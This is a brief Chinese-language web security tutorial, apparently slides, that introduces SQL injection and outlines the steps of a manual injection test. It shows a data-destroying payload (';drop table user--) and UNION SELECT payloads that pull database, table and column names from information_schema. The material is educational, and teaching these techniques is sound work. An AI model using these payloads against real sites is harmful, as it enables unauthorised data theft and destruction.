Web安全基础教程 灯芯@看雪学院
SQL注入简介 手工注入测试
什么是SQL注入?? 首先,我们看一下正常的数据查询: ?id=1select * from user where id =‘1’ 当我们插入一段有语义的SQL语句’;drop table user--#: ?id=1 ’;drop table user-- #select * from user where id =‘1’ ;drop table user--#’ 这样就造成了在查询之后就删除了user表;
所以简单的说产生sql注入的两个条件:一个是用户能够控制输入;二是原本程序执行的语句拼接了用户输入的数据; Sql注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据
获取库名:union select 1,database()# 获取表明:union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# 获取列名:union select 1,group_concat(column_name) from information_schema.columns where table_name=‘user’#
Thanks